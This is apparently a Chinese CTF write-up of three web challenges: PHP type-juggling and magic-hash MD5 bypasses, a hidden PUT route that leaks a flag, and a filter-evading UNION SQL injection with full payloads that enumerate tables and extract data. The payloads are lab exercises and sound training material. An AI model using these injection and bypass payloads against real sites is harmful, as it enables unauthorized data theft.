[NSSCTF 2022 Spring Recruit]babyphp
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2']))
a,b1,b2都可以用数组绕过,因为a是正则绕过,b是MD5绕过
c1,c2都要是字符串,c1c2的MD5值要相等 所以c就不能用数组绕过,可以用科学计数法0e绕过
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
payload
a[]=0&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
[GDOUCTF 2023]EZ WEB
点击按钮得到
看源码得到一个路径
访问得到一个脚本
路由与处理 HTTP PUT 请求的函数相关联。当向此路由发出 PUT 请求时,该函数会尝试打开并读取名为 的文件的内容。然后,将文件的内容作为响应返回。这意味着当向此特定路由发出 PUT 请求时,应用程序会公开文件的内容。/super-secret-route-nobody-will-guessflag()'flag''flag'
HTTP的8种请求方式及常用请求方式的解析_http请求-CSDN博客
用bp改方式
[SWPUCTF 2021 新生赛]sql
直接使用 # 作为注释符是没有用的,但是将其 url 编码为 %23 就好使啦。
1.注意到空格被过滤了,这个可以用 /**/ 绕过
2. 等号被过滤了可以使用 like 绕过
3.最后是读取 flag 的时候回显的长度有限制,substr、reverse、right 什么的也被过滤,最后用的是 mid!
最后组合起来就可以了。
步骤
/?wllm=1
/?wllm=1' //这两个是判断类型,是字符型 单引号闭合
%23是#的url编码 ,达到注释的结果
/?wllm=1' group by 3%23 //这里会提示我们进行了非法操作,应该是过滤了空格
这里是过滤了空格,我们用/**/来绕过
/?wllm=1'/**/group/**/by/**/3%23
/?wllm=1'/**/group/**/by/**/4%23 //4报错了, 判断得回显列数为3
到这里是 判断出回显列数,我们还要知道位置
/?wllm=-1'/**/union/**/select/**/1,2,3%23
爆库名
/?wllm=-1'/**/union/**/select/**/1,2,database()%23
爆表名 但是过滤了=,用like来绕过
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
爆字段名
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23
查询flag
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
发现显示不全,我们使用substring连接
/?wllm=-1'/**/union/**/select/**/1,2,substring(group_concat(flag),1,30)/**/from/**/test_db.LTLT_flag%23
被过滤了,换mid试试 ,注意有三段, 注意:mid最大回显长度为20个字符
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23
最后注意要截取三组,往往会漏掉第三组